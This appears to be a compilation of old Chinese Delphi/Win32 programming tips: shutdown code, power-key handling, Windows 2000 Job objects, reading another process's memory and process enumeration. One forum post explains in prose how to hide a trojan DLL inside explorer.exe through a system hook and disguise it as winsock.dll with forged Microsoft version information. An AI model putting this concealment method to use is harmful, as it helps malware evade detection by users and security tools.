SE_SHUTDOWN_NAME = 'SeShutdownPrivilege'; // Borland forgot this declaration

var

hToken : THandle;

tkp : TTokenPrivileges;

tkpo : TTokenPrivileges;

zero : DWORD;

begin

if Pos( 'Windows NT', GetWinVersion) = 1 then // we've got to do a whole buch of things

begin

zero := 0;

if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then

begin

MessageBox( 0, 'Exit Error', 'OpenProcessToken() Failed', MB_OK );

Exit;

end; // if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken)

if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then

begin

MessageBox( 0, 'Exit Error', 'OpenProcessToken() Failed', MB_OK );

Exit;

end; // if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken)

// SE_SHUTDOWN_NAME

if not LookupPrivilegeValue( nil, 'SeShutdownPrivilege' , tkp.Privileges[ 0 ].Luid ) then

begin

MessageBox( 0, 'Exit Error', 'LookupPrivilegeValue() Failed', MB_OK );

Exit;

end; // if not LookupPrivilegeValue( nil, 'SeShutdownPrivilege' , tkp.Privileges[0].Luid )

tkp.PrivilegeCount := 1;

tkp.Privileges[ 0 ].Attributes := SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges( hToken, False, tkp, SizeOf( TTokenPrivileges ), tkpo, zero );

if Boolean( GetLastError() ) then

begin

MessageBox( 0, 'Exit Error', 'AdjustTokenPrivileges() Failed', MB_OK );

Exit;

end // if Boolean( GetLastError() )

else

ExitWindowsEx( EWX_FORCE or EWX_SHUTDOWN, 0 );

end // if OSVersion = 'Windows NT'

else

begin // just shut the machine down

ExitWindowsEx( EWX_FORCE or EWX_SHUTDOWN, 0 );

end; // else

end;

这个程序适用于所有Windows版本

安全中止计算机运行？
CoDelphi.com

摘　要：如何才能安全地退出视窗？
关键字：退出视窗 申请 中止 API 退出
类　别：API
请用指向/demos/doc/filemanex目录的FMXUtils 单元:

{加入下面的函数}

function TerminateAllProcesses:Boolean;
begin
ExecuteFile('C:\Windows\Rundll32.exe','user,exitwindows','',0);
Application.Terminate;
end;

This is an example of using this function

...
...
if NOT TerminateAllProcesses then begin;
ShowMessage('不能退出Windows。');
end;
...
...
...

投稿人：grhunter　投稿日期：2001-3-28 16:36:00


Win2k下禁用Power键

作者：DelphiWolf ,hubdog

在Win2K中提供了按Power键可以快速关机的功能。

但是有一点不好的就是没有任何警告就关机，更糟糕的是我的破键盘上Power键就在delete键下面，我经常在按删除键时误按power键，导致工作中经常关机，特别是在我和PPMM聊天时，这就更加让我无法容忍，幸好delphiwolf告诉我Power键按下后，会发一个消息给程序，程序如果禁止关机，就可避免，下面这个程序会在按下power键后，弹出窗口，让用户输入确认才关机。

unit CPower;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
TForm1 = class(TForm)
procedure FormPaint(Sender: TObject);
private
{ Private declarations }
procedure WMPowerBroadcast(var message: TMessage); message WM_POWERBROADCAST;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

{ TForm1 }

procedure TForm1.WMPowerBroadcast(var message: TMessage);
const SkipNextPowerMsg:boolean=True;
begin
if SkipNextPowerMsg then
begin
SetForegroundWindow(Self.Handle);
if Application.MessageBox('是否关闭系统？','警告',MB_OKCANCEL + MB_DEFBUTTON2)<>IDOK then
begin
message.Result := BROADCAST_QUERY_DENY;
SkipNextPowerMsg:=not SkipNextPowerMsg;
end
else
Close;
end
else
SkipNextPowerMsg:=not SkipNextPowerMsg;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
Self.Visible:=False;
end;

end.


利用Windows 2000 Job对象

Jani Jarvinen

摘　要：利用Windows 2000 Job对象限制程序资源消耗
关键字：Job对象
类　别：API

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

在Windows平台上编程时，你的程序一不小心就会"吃掉"所有可用的CPU资源和内存资源。某些时候这不成其为问题，但如果你创建服务器程序来相应多个客户请求的话，就要小心不要因为耗费太多系统资源而导致当机。假如你用Windows2000作为平台，可以利用几个API调用来解决这个问题。

许多Delphi程序员已经转到Windows 2000平台。Borland对在此平台上使用Delphi 5没有做出任何官方支持保证。

尽管如此，除了由一些本地化版本的操作系统或显示驱动程序引起的小问题之外，Delphi 5看来在Windows 2000平台上工作得很好。Delphi 6对Windows 2000应当会有很好的支持。

既然Delphi 5(甚至更早的版本)支持Windows 2000，那何不在Delphi 6之前就好好利用新操作系统的新特性呢？本文将论及在Delphi 5中如何利用Windows 2000的job对象。不保证示例程序可以在Delphi 6中编译通过，不过应该问题不大。

介绍job对象
当应用程序在Windows 2000中运行时，可以自由地消耗需要的资源以完成工作。例如，为了实现繁重的计算工作，应用程序可能会创建新的线程来更有效地利用CPU。如果应用程序需要和其它程序共享信息，也可能会简单地利用剪贴板，假使需要修改系统设置的话，它也会毫不犹豫地去做的。另外，如果应用程序需要分配内存，系统也会尽量不拒绝它。在现在的系统中，分配50MB甚至100MB的内存根本不成问题。

Windows 2000提供给应用程序一个更加不受限制的运行环境。系统管理员固然可以指定普通用户可以在系统上进行何种操作，而他却无法单独控制应用程序。比如，系统管理员可以限制某一用户（以及这个用户运行的程序）不可存取特定的文件夹或网络资源，但特定的应用程序允许消耗的内存却无法指定。

这是就该Windows 2000的job对象上场了。Job对象是Windows 2000的新特性，利用它可以限制很多东西，比如内存消耗量、CPU时间、剪贴板存取、进程数等等。Job对象是Windows 2000的核心对象，这意味着操作系统将在基本子系统层面支持它。

"job（工作）"听起来像是大型机时代的批处理应用程序，但Windows 2000里的job对象并不周期性崩溃--正好相反。而且，也不应把job对象和print job（打印工作）混淆起来，两者完全不同。

要利用job对象，首先要创建它。后文将述及一些细节，但现在你应该把job创建对象当做和创建其它系统对象（文件、管道、线程等）一样。一旦创建了job对象，它就被初始化为空值。为了使用它，必须首先改变它的设置。

最重要的是把新创建的job对象和一个或多个进程结合起来。进程默认为不与任何job对象相结合，但你可以随自己的心愿去这么干。这种结合是永久性的，所以不能被中止。

为job对象指定了一个或多个进程之后，可以开始为对象设置限制。比如，限制结合到对象的单一进程可以消耗的内存数，可以是5MB、30MB等等。限制可用于单一应用程序、或者整个job对象

准备消耗
你可能已经可以想见job对象的众多用途了。如果你的应用程序要响应客户端请求，就可以把它连接到限制性质的job对象。假如觉得某个应用程序耗费太多资源，也可以把它结合到合适的job对象。如此等等，不一而足。

需要找到有关的C语言文件头的Delphi版本。Windows Platform SDK中包括了原始头文件和API文档。http://msdn.microsoft.com/downloads有下载。WINBASE.H和WINNT.H就是需要注意的头文件

翻译C语言头文件耗时甚多。我已经简单翻译了一下，命名为JOBS.PAS。你可以在项目中自由使用。也许D6会包括所有需要的翻译头文件。

在我看来，了解操作系统新特性的最好方法就是去用它。Windows 2000 的job 对象是用来限制应用程序的，我写了两个简单的消耗系统资源的例子来做演示。

这两个例子程序，一个叫做CPUHog，另一个叫做MemoryHog。在图1中可以看到：

job1.gif (14347 Bytes)
图一

顾名思义，这两个程序都是CPU时间和内存消耗大户。现实中自然不可能存在这样的程序，但许多其它程序在消耗方面干得也毫不逊色。

从代码段一和代码端二中可以看出它们是如何工作的。最好不要把这些代码直接拷贝到你的项目中--一般而言，Delphi程序员都会教你"应该这样写代码"，而我将会演示"不要这样写代码"。

代码段一在While循环中浪费CPU时间

procedure TCPUHogForm.StartClick(Sender: TObject);
begin
Hogging := True;
Start.Enabled := False;
Stop.Enabled := True;
While Hogging do Begin
Application.ProcessMessages;
End;
end;

procedure TCPUHogForm.StopClick(Sender: TObject);
begin
Hogging := False;
Start.Enabled := True;
Stop.Enabled := False;
end;

代码段二使用GetMem分配以兆字节计算的内存

procedure TMemoryHogForm.AllocateClick(
Sender: TObject);
Var P : PChar;
begin
GetMem(P,StrToInt(Edit1.Text)*1024*1024);
{ just to store something there }
StrCopy(P,PChar(DateTimeToStr(Now)));
end;

示例程序

现在你应该已经明白这两个程序是如何工作的了。图二是Job对象示例程序。

job2.gif (36767 Bytes)
图二

记住，因为Windows 2000第一次引入job对象，所以必须在Windows 2000上运行这个程序。
如果一个进程被分配给Job对象，Windows 2000就会收集关于进程的信息。如果达到某一极限（如内存量消耗等等），系统将中止它。看起来有点粗暴，但如果应用程序本来就像避免这种情况时，它会工作得很好。你也可以设定为让Windows 2000记录到日志，然后继续运行进程。

示例程序在启动时创建一个核心job对象（在主窗体的OnCreate中），然后用timer组件不断地监视状态。你可以选择用十进制或者十六进制来显示统计数字。

示例程序有三个按钮：Run CPUHog（运行CPUHog）、RUN MemoryHog（运行MemoryHog），Set Restrictions（设置限制）。前两个按钮用来执行上文谈及的程序，第三个实现预定义的限制。下面的部分，我将演示这一切是如何实现的。

交给Windows去办！

如前所述，示例程序在启动时创建核心job对象。代码段三展示了如何调用CreateJobObject这个Win32 API函数。这个函数有两个参数：lpJobAttributes和lpName，均可被设置为nil，以使用缺省设置。

代码段三调用CreateJobObject创建job对象

procedure TJobMainForm.FormCreate(Sender: TObject);
begin
JobObj := CreateJobObject(nil,nil);
If (JobObj = 0) Then
ShowMessage(SysErrorMessage(GetLastError));
end;
...
Function CreateJobObject(lpJobAttributes :
PSecurityAttributes;
lpName : PAnsiChar) : THandle; StdCall;
External Kernel32 Name 'CreateJobObjectA';
如果调用成功，返回值是被创建对象的句柄。反之则返回0，我在程序中用一个错误提示框表示。注意代码是如何运用在SYSUTILS.PAS单元中声明的SysErrorMessage函数构造错误信息的。

Job对象被创建之后，跟着就到了用来跟踪显示job对象状态的Ttimer组件的事件句柄了。在代码段四中可以看到。用来查询job对象信息的API函数是QueryInformationJobObject。注意SysUtils.Win32Check函数是如何在API函数调用失败时引发异常的。I2S32和I2S64这两个转换函数用于进行基于10位或16位数的整数到字符串转换。

代码段四 调用QueryInformationJobObject获取job对象信息

procedure TJobMainForm.Timer1Timer(Sender: TObject);
Var
Info : TJobObjectBasicAndIOAccountingInformation;
Len : Cardinal;
begin
{ retrieve basic and IO information
about the job object }
Win32Check(QueryInformationJobObject(JobObj,
JobObjectBasicAndIoAccountingInformation,@Info,
SizeOf(Info),@Len));
{ show the results on screen }
With Info do Begin
Edit1.Text := I2S64(BasicInfo.TotalUserTime);
Edit2.Text := I2S64(BasicInfo.TotalKernelTime);
Edit3.Text :=
I2S64(BasicInfo.ThisPeriodTotalUserTime);
Edit4.Text :=
I2S64(BasicInfo.ThisPeriodTotalKernelTime);
Edit5.Text :=
I2S32(BasicInfo.TotalPageFaultCount);
Edit6.Text := I2S32(BasicInfo.ActiveProcesses);
Edit7.Text :=
I2S32(BasicInfo.TotalTerminatedProcesses);
Edit8.Text := I2S64(IoInfo.ReadOperationCount);
Edit9.Text := I2S64(IoInfo.WriteOperationCount);
Edit10.Text := I2S64(IoInfo.ReadTransferCount);
Edit11.Text := I2S64(IoInfo.WriteTransferCount);
End;
end;
Job对象本身不做任何事。你需要把进程和它相连。前面谈到的两个按钮启动应用程序。代码段五显示OnClick事件句柄，代码段六显示ExecuteProcess助手函数。

代码段五 执行进程，选择性地连接到job对象
procedure TJobMainForm.RunCPUHogClick(
Sender: TObject);
Var Proc : THandle;
begin
Proc := ExecuteProcess('cpuhog.exe');
If AssociateWithJob.Checked Then
Win32Check(AssignProcessToJobObject(JobObj,Proc));
CloseHandle(Proc);
end;
procedure TJobMainForm.RunMemoryHogClick(
Sender: TObject);
Var Proc : THandle;
begin
Proc := ExecuteProcess('memoryhog.exe');
If AssociateWithJob.Checked Then
Win32Check(AssignProcessToJobObject(JobObj,Proc));
CloseHandle(Proc);
end;
代码段六 使用API函数CreateProcess执行进程
Function TJobMainForm.ExecuteProcess(
EXE : String) : THandle;
Var
SI : TStartupInfo;
PI : TProcessInformation;
Begin
Result := INVALID_HANDLE_VALUE;
FillChar(SI,SizeOf(SI),0);
SI.cb := SizeOf(SI);
If CreateProcess(nil,PChar('.\'+EXE),nil,nil,
False,0,nil,nil,SI,PI) Then Begin
{ close thread handle }
CloseHandle(PI.hThread);
Result := PI.hProcess;
End
Else ShowMessage('CreateProcess call failed: '+
SysErrorMessage(GetLastError));
End;
如你所见，假如选项框"Associate process with the job object（连接进程到job对象）"被选择，就把进程连接到job对象。如果在ExecuteProcess中没有指定路径，就要确保CPUHOG.EXE和MEMORYHOG.EXE和示例程序JOBOBJECTS.EXE在同一目录。API函数AssignProcessToJobObject将进程连接到一个job。

Job对象默认为不对进程设置任何限制。Windows 2000仅仅是收集关于进程的统计数据供你使用。设置限制才是比较有趣的部分。用API函数SetInformationJobObject 可以做到这一点。

实现限制

在示例程序中，我打算把限制设定为：每个进程10秒CPU时间，整个job 20秒时间。活动（正在运行）进程限制为5个，所有属于这个job的进程可以消耗20MB的内存。

点击Set Restrictions（设置限制）按钮时，代码段七中的代码被执行，显示图三所示消息框。

job3.gif (12129 Bytes)
图三

代码段七 使用API函数SetInformationJobObject实现限制
procedure TJobMainForm.SetRestrictionsClick(
Sender: TObject);
Const MegaByte = 1024*1024;
Var Limits : TJobObjectExtendedLimitInformation;
begin
{ 填充结构 }
FillChar(Limits,SizeOf(Limits),0);
With Limits,BasicLimitInformation do Begin
PerProcessUserTimeLimit :=
SecondsTo100NSTicks(10);
PerJobUserTimeLimit := SecondsTo100NSTicks(20);
ActiveProcessLimit := 5;
ProcessMemoryLimit := 20*MegaByte;
{ 设置标志 }
LimitFlags := JOB_OBJECT_LIMIT_PROCESS_TIME Or
JOB_OBJECT_LIMIT_JOB_TIME Or
JOB_OBJECT_LIMIT_ACTIVE_PROCESS Or
JOB_OBJECT_LIMIT_PROCESS_MEMORY;
End;
{ 执行限制 }
Win32Check(SetInformationJobObject(JobObj,
JobObjectExtendedLimitInformation,
@Limits,SizeOf(Limits)));
ShowMessage('Limits set!'#13#13+
'User time per process: 10 seconds'#13+ //每个进程时间
'User time per job: 20 seconds'#13+ //每个job时间
'Active process limit: 5 processes'#13+ //活动进程限制
'Per process memory allocation limit: 20 MB'); //每个进程分配的内存
SetRestrictions.Enabled := False;
end;
执行限制之后，运行MemoryHog。程序正常开始，点击Allocate（分配）按钮，可以分配10MB的内存。第二次点击这个按钮，尽管系统可能还有很多可用内存（按Ctrl-Shift-Esc，在任务管理器中查看），也不能分配更多内存。如果还没有看到错误信息（很少见），请看图四。

job4.gif (14301 Bytes)
图四

接着我们来看看CPUHog。缺省的限制为每个进程10秒CPU用户时间，整个job对象为20秒。为了测试前一个限制，点击Run CPUHog按钮，注意屏幕上的数值变化。然后，点击CPUHog程序的Start按钮，然后等上顶多10-12秒钟。这时，CPUHog程序应当直接从屏幕上消失。Job对象再一次成功了。

现在，我们已经测试了对每个进程的限制。但就像你在代码段七中见到的，我还准备限制整个job对象CPU时间。重新启动JobObjects，启动一个或两个MemoryHog，启动两个CPUHog。

不用去管MemoryHog程序，点击CPUHog上的Start（开始）按钮。同样等上10-12分钟，CPUHog的一个实例将会被终止。

点击剩下那个CPUHog的Start（开始）按钮。这个CPUHog也同样消失，而且MemoryHog的实例也不见了！看起来很不公平，但这就是job对象的默认工作方式。当达到job对象的CPU时间限制，这个job对象就不能继续运行任何其它进程，因为每个进程都要消耗一定量的CPU时间。

结论
本文展示了如何在程序中使用job对象。如你在代码中所见，这并不复杂。和其它API层次技术相比，实在是太简单了。

使用job对象是如此之简单，我建议你在合适的地方多多利用它。比如，假如某个应用程序运行起来没有想象中那幺满意，就可以写一个简单的"启动"程序：

C:\>limitmem 25000 "C:\Program Files\SomeApp\App.exe"

除了本文述及的限制CPU和内存消耗，job对象还可用来限制许多其它方面。要讲清楚的话，恐怕需要两三篇文章。篇幅所限，不能一一尽述。可以下载Platform SDK或者在线阅览：http://msdn.microsoft.com/library。

最后一个诀窍：用它来测试程序。你经常在内存超载的情况下测试程序吗？在发现Windows 2000 job对象之前，我一直觉得："嗯，太难啦……"
下载示例程序

补充知识：理解CPU消耗

考虑使用job对象，它真的可以做到使你的进程只耗费80秒的CPU时间。假如你在Windows 2000系统开发Web程序，肯定见过Web站点属性对话框中的"Enable process throttling（允许进程中止）"选择框和相应的"Maximum CPU Use %"设置值。

IIS（Internet信息服务器）是如何以百分比为度量单位限制CPU使用的呢？job对象并不支持这种方法。

要知道迷底，先要理解Windows 2000的CPU消耗（其它多任务操作系统也一样）。系统不断地运行不同的程序（实际上是进程中的线程），并在它们之间切换。在单任务操作系统中，同一时间只能有一个程序运行。这个程序将会尽可能多地使用CPU，而不是50%或者75%。

由于多任务的实现，Windows 2000在某一时点只运行一个程序，这个时段大约是20毫秒，然后切换到另一个程序。"同时"执行多个程序成为可能。所以，所谓CPU消耗就是一个时间函数。

具体来看看例子：某个应用程序以10秒为周期使用了5秒钟的CPU时间，那么，平均CPU使用就是50%。以24小时为周期，就是12小时，如此等等。

所以你可以以百分比为度量单位限制CPU使用。技巧就在于选择合适的周期！

投稿人：grhunter　投稿日期：2001-5-28 23:31:00


win9x,nt,w2k下进程的深度隐藏

利用windows的一个*.dll御截漏洞,可以实现在win9x,nt,w2k下进程的深度隐藏,按CTRL+ALT+DEL看不到,用终极防线也看不到,这是我的最新发现,想和大家一起讨论,
我已实现了这一功能,源程在http://njhhack.freehomepages.com/source/hideproc.zip
我的oicq:10772919
e-mail:njhhack@21cn.com
homepage:hotsky.363.net

-----------------

呵呵，各位兄弟，配合我的Delphi源码，讲一下它的工作原理吧，不过大家不要用来做坏事哟，我可是从不黑人的，谁让我是人民教师哟，原理如下:
我编了个启动程序winexec.exe用它来启动install.dll这个安装库，install.dll中有个安装函数用来启动getkey.dll这个执行库，getkey.dll里面有我的木马程序，这个getkey.dll库被挂到explorer.exe的进空间中，然后winexec.exe和install.dll在内存中自动御载，但是getkey.dll仍在内存中运行(这就是*.dll的御载漏洞)，因为这时系统中已没有我的winexec.exe存在，所以按CTRL+ALT+DEL查不到有我的进程在运行，这就是进程三级跳.
呵呵,可是，大家知道getkey.dll是如何被挂到explorer.exe这个系统shell进程的地址空间中吗，请听我慢慢道来:
在windows系统中，要进入另一个进程的空间有很多方法，最标准的方法是微软提供的系统级hook功能,大家知道当一个hook放入*.dll中时会成会系统级hook，这是它能收到所以系统中传输的消息，而且若消息是其它进程的线程发出或接收的，那么该*.dll（就是我程序中的install.dll啦）会被强行映射到该进程的地址空间(比如说我的install.dll被映射到explorer.exe的进程空间中),这时install.dll就成了explorer.exe进程的一个调用模块，这时在install.dll用createthread函数创建的线程会成为explorer.exe进程主线程的子线程,这样我们就在explorer.exe的家中暂时有了一块合法的土地，但这只是开始，因为我们的目标是隐藏自已的进程，所以要把winexec.exe在内存中去掉，但这不是我们想要的结果，大家想想，install.dll是由winexec.exe调用的，所以，当winexec.exe死掉后，install.dll也活不成，我们在explorer.exe中占下的一席之地就又没了，那如何办呢，呵呵，听我慢慢讲来:
上面我们说了，当install.dll在explorer.exe中安家后，我们创建的线程就是explorer.exe的子线程，那么由install.dll中调用的*.dll(就是我们程序中的getkey.dll)也会成为explorer.exe的子模块，根据*.dll的特殊性（就是我认为的*.dll的御载漏洞），在install.dll从内存中御掉后，被它调用的getkey.dll还在内存中好好的活着呢，呵呵，微软真是个好宝宝，为我们提供了这么好的驻留内存的机会，我想之所以这样，是因为*.dll不可以成为另一个*.dll的拥有者，只有*.exe才能成为*.dll的拥有者吧，所以explorer.exe就成了getkey.dll的合法拥有者，呵呵，因为explorer.exe是微软的好东东，所以永远在内存中活着，那我们的好战士getkey.dll当然靠着这棵大树也在内存中活的好好的哟，这样我们可爱的getkey.dll就永远安全地在explorer.exe中安了家，呵呵，我们终于可以过河拆桥了，不要说我坏呀，我不要这么做，可不这样的话我的winexec.exe这会被人发现了呀，好可怜哟，这是你在getkey.dll中发出postmessage(findwindow('winexec',nil),wm_destroy,0,0)指令，就会让讨厌的winexec.exe（不对，是可爱的，只不过你的任务完成了，没有了哟，呵呵）从内存中死掉，当然它的好儿子install.dll也会随父而去，但我们可爱的getkey.dll确好好的活在内存中(啊啊，这是为什么呀，gekey.dll的爷爷winexec.exe都死了，它的孙子getkey.dll为何不死呀，呵呵，别忘了哟，getkey.dll的继父explorer.exe很有本事哟，它把它保护的好好的哟，所以死不了的啦)，呵呵，明白了吗，这时的内存中已经没有了winexec.exe和install.dll的身影，只有getkey.dll存在，而且是explorer.exe的一个调用模块，当然用CTRL+ALT+DEL只能看到好人explorer.exe，而winexec.exe送给它的坏儿子是看不到了啦，呵呵，如果你用prcview或用spy++,winsight包括各种深度查木马程序（如终极防线）查的话，你只能看到getkey.dll在内存中，但调用者是explorer.exe（这是比尔的好孩子哟，没人怀疑它做坏事吧，呵呵），所以就没人理这个getkey.dll这个坏孩子啦，呵呵，若实在有高手认为它可疑，那好吧，我们加工加工，把getkey.dll的名字改成winsock.dll，然后放在和windows中自带的winsock不同的目录中，呵呵没人怀疑这个文件吧，当然把getkey.dll的版权信息改成是微软的更好啦，呀呀，比尔你不要生气呀，谁叫你这么坏哪，呵呵，我走了..............


挂起系统

SetSystemPowerState(FALSE,FALSE);


访问其他进程的内存空间

---- 在WIN32中，每个应用程序都可“看见”4GB的线性地址空间，其中最开始的4MB和最后的2GB由操作系统保留，剩下不足2GB的空间用于应用程序私有空间。具体分配如下：0xFFFFFFFF-0xC0000000的1GB用于VxD、存储器管理和文件系统；0xBFFFFFFF-0x80000000的1GB用于共享的WIN32 DLL、存储器映射文件和共享存储区；0x7FFFFFFF-0x00400000为每个进程的WIN32专用地址；0x003FFFFF-0x00001000为MS-DOS 和 WIN16应用程序；0x00000FFF-0x00000000为防止使用空指针的4,096字节。以上都是指逻辑地址，也就是虚拟内存。---- 虚拟内存通常是由固定大小的块来实现的，在WIN32中这些块称为“页”， 每页大小为4,096字节。在Intel CPU结构中，通过在一个控制寄存器中设置一位 来启用分页。启用分页时CPU并不能直接访问内存，对每个地址要经过一个映射 进程，通过一系列称作“页表”的查找表把虚拟内存地址映射成实际内存地址。 通过使用硬件地址映射和页表WIN32可使虚拟内存即有好的性能而且还提供保护。 利用处理器的页映射能力，操作系统为每个进程提供独立的从逻辑地址到物理地 址的映射，使每个进程的地址空间对另一个进程完全不可见。WIN32中也提供了 一些访问进程内存空间的函数，但使用时要谨慎，一不小心就有可能破坏被访问 的进程。本文介绍如何读另一个进程的内存，写内存与之相似，完善一下你也可 以做个 FPE 之类的内存修改工具。好吧，先准备好编程利器Delphi 和 参考手 册 MSDN ，Now begin!

ReadProcessMemory 读另一个进程的内存，原形如下：
BOOL ReadProcessMemory(
HANDLE hProcess, // 被读取进程的句柄；
LPCVOID lpBaseAddress, // 读的起始地址；
LPVOID lpBuffer, // 存放读取数据缓冲区；
DWORD nSize, // 一次读取的字节数；
LPDWORD lpNumberOfBytesRead // 实际读取的字节数；
);
hProcess 进程句柄可由OpenProcess 函数得到，原形如下：
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问标志；
BOOL bInheritHandle, // 继承标志；
DWORD dwProcessId // 进程ID；
);
---- 当然，用完别忘了用 CloseHandle 关闭打开的句柄。 读另一个进程的内存 dwDesiredAccess 须指定为 PROCESS_VM_READ ， 写另一个进程的内存 dwDesiredAccess 须指定为 PROCESS_VM_WRITE ， 继承标志无所谓，进程ID可由 Process32First 和 Process32Next 得到， 这两个函数可以枚举出所有开启的进程，这样进程的信息也就得到了。 Process32First 和 Process32Next是由 TLHelp32 单元提供的，需在 uses 里加上TLHelp32。ToolsHelp32 封装了一些访问堆、线程、进程等 的函数，只适用于Win9x，原形如下：

BOOL WINAPI Process32First(
HANDLE hSnapshot //
由 CreateToolhelp32Snapshot 返回
的系统快照句柄；
LPPROCESSENTRY32 lppe // 指向一个 PROCESSENTRY32 结构；
)；
BOOL WINAPI Process32Next(
HANDLE hSnapshot // 由 CreateToolhelp32Snapshot 返回
的系统快照句柄；
LPPROCESSENTRY32 lppe // 指向一个 PROCESSENTRY32 结构；
)；
hSnapshot 由 CreateToolhelp32Snapshot 返回的系统快照句柄；
CreateToolhelp32Snapshot 原形如下：
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, // 快照标志；
DWORD th32ProcessID // 进程ID；
);
现在需要的是进程的信息，所以将 dwFlags
指定为 TH32CS_SNAPPROCESS，
th32ProcessID 忽略；PROCESSENTRY32 结构如下：
typedef struct tagPROCESSENTRY32 {
DWORD dwSize; // 结构大小；
DWORD cntUsage; // 此进程的引用计数；
DWORD th32ProcessID; // 进程ID;
DWORD th32DefaultHeapID; // 进程默认堆ID；
DWORD th32ModuleID; // 进程模块ID；
DWORD cntThreads; // 此进程开启的线程计数；
DWORD th32ParentProcessID;// 父进程ID；
LONG pcPriClassBase; // 线程优先权；
DWORD dwFlags; // 保留；
char szExeFile[MAX_PATH]; // 进程全名；
} PROCESSENTRY32;
---- 至此，所用到的主要函数已介绍完,实现读内存只要从下到上依次调用 上述函数即可，具体参见原代码：
procedure TForm1.Button1Click(Sender: TObject);
var
FSnapshotHandle:THandle;
FProcessEntry32:TProcessEntry32;
Ret : BOOL;
ProcessID : integer;
ProcessHndle : THandle;
lpBuffer:pByte;
nSize: DWORD;
lpNumberOfBytesRead: DWORD;
i:integer;
s:string;
begin
FSnapshotHandle:=CreateToolhelp32Snapshot(
TH32CS_SNAPPROCESS,0);
//创建系统快照
FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
//先初始化 FProcessEntry32 的大小
Ret:=Process32First(FSnapshotHandle,FProcessEntry32);
while Ret do
begin
s:=ExtractFileName(FProcessEntry32.szExeFile);
if s='KERNEL32.DLL' then
begin
ProcessID:=FProcessEntry32.th32ProcessID;
s:='';
break;
end;
Ret:=Process32Next(FSnapshotHandle,FProcessEntry32);
end;
//循环枚举出系统开启的所有进程，找出“Kernel32.dll”
CloseHandle(FSnapshotHandle);
Memo1.Lines.Clear ;
memo1.lines.add('Process ID '+IntToHex(
FProcessEntry32.th32ProcessID,8));
memo1.lines.Add('File name '+FProcessEntry32.szExeFile);
////输出进程的一些信息
nSize:=4;
lpBuffer:=AllocMem(nSize);
ProcessHndle:=OpenProcess(PROCESS_VM_READ,false,ProcessID);
memo1.Lines.Add ('Process Handle '+intTohex(ProcessHndle,8));
for i:=$00800001 to $0080005f do
begin
ReadProcessMemory(
ProcessHndle,
Pointer(i),
lpBuffer,
nSize,
lpNumberOfBytesRead
);
s:=s+intTohex(lpBuffer^,2)+' ';
//读取内容
if (i mod 16) =0 then
begin
Memo1.Lines.Add(s);
s:='';
end;
//格式化输出
end;
FreeMem(lpBuffer,nSize);
CloseHandle(ProcessHndle);
//关闭句柄，释放内存
end;

///////////////////////////////////////////////////////////

编写16位程序访问指定内存的值的函数:

{Access Memory for win31&win95}
{must compile with delphi1.0---16bit
App}
{no VXD or DLL need}
{pure native source code here,all
include}
{Writen by Xueyu,LEE}
const fMemoryMapped:boolean=false;
var
fSelector :word;
fBaseAddr :LongInt;
fMemoryPointer :Pointer;
fMemorySize :Word;

function  MapPhysMemory(PhAddr:LongInt; Size:Word):Pointer;
{input:
}
{ phAddr: physics Address}
{ Size  : Alloc
Size(bytes)}
{output:}
{ Result: pointer to the physics
memory}
{example:}
{ access the address 0:$123}
{
ptr:=MapPhysMemory($123,1)}
begin
Result:=fMemoryPointer;
if fMemoryMapped then UnmapPhysMemory;
fMemorySize:=Size;
fBaseAddr:=PhAddr;
fMemoryMapped:=TRUE;
fSelector:=AllocSelector(DSeg);
SetSelectorBase(fSelector,PhAddr);
SetSelectorLimit(fSelector,Size);
fMemoryPointer:=Ptr(fSelector,0);
Result:=fMemoryPointer;
end;

procedure UnmapPhysMemory;
begin
if fMemoryMapped then
FreeSelector(fSelector);
fSelector:=0;
fMemoryMapped:=FALSE;
fBaseAddr:=0;
fMemoryPointer:=NIL;
fMemorySize:=0;
end;
///////////////////////////////////////////

BOOL DebugActiveProcess(DWORD dwProcessId); //将dwProceeeID进程设置为被当前进程调试

BOOL ReadProcessMemory(
HANDLE hProcess, // handle of the process whose memory is read
LPCVOID lpBaseAddress, // address to start reading
LPVOID lpBuffer, // address of buffer to place read data
DWORD nSize, // number of bytes to read
LPDWORD lpNumberOfBytesRead // address of number of bytes read
);

BOOL WriteProcessMemory(
HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);
可以干任何肮脏的事情......


杀死进程

 procedure TForm1.Button1Click(Sender: TObject);
var
H:THandle;
P:DWORD;
begin
H:=FindWindow(nil,'无标题 - 记事本');
if H<>0 then
begin
GetWindowThreadProcessId(H,@P);
if P<>0 then
TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,P),$FFFFFFFF);
end;
end;


由ProcessID获得应用程序名

uses tlhelp32;
procedure TForm1.Button1Click(Sender:
TObject);
var
pe:PROCESSENTRY32;
me:MODULEENTRY32;
hp,hm:Thandle;
b,b1:boolean;
begin
hp:=CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS,0);
pe.dwSize:=SizeOf(pe);
b:=Process32First(hp,pe);
while
b do
begin
hm:=CreateToolHelp32SnapShot(TH32CS_SNAPModule,pe.th32ProcessID);
me.dwSize:=sizeof(ModuleEntry32);
if Module32First(hm,me)
then
begin
b1:=Module32First(hm,me);
while  b1
do
begin
if
me.th32ModuleID=pe.th32ModuleID
then
listbox1.Items.Add(me.szExePath);
b1:=Module32Next(hm,me);
end;
end;
b:=Process32Next(hp,pe);
end;

end;

--------------------------------------------------------------------------------
toolhelp api 在 nt 上不支持
下面的可以在 nt 上运行
如果要copy到其他机上运行，要顺便拷贝 psapi.dll(这个dll安装delphi或者c++ builder后就有了)

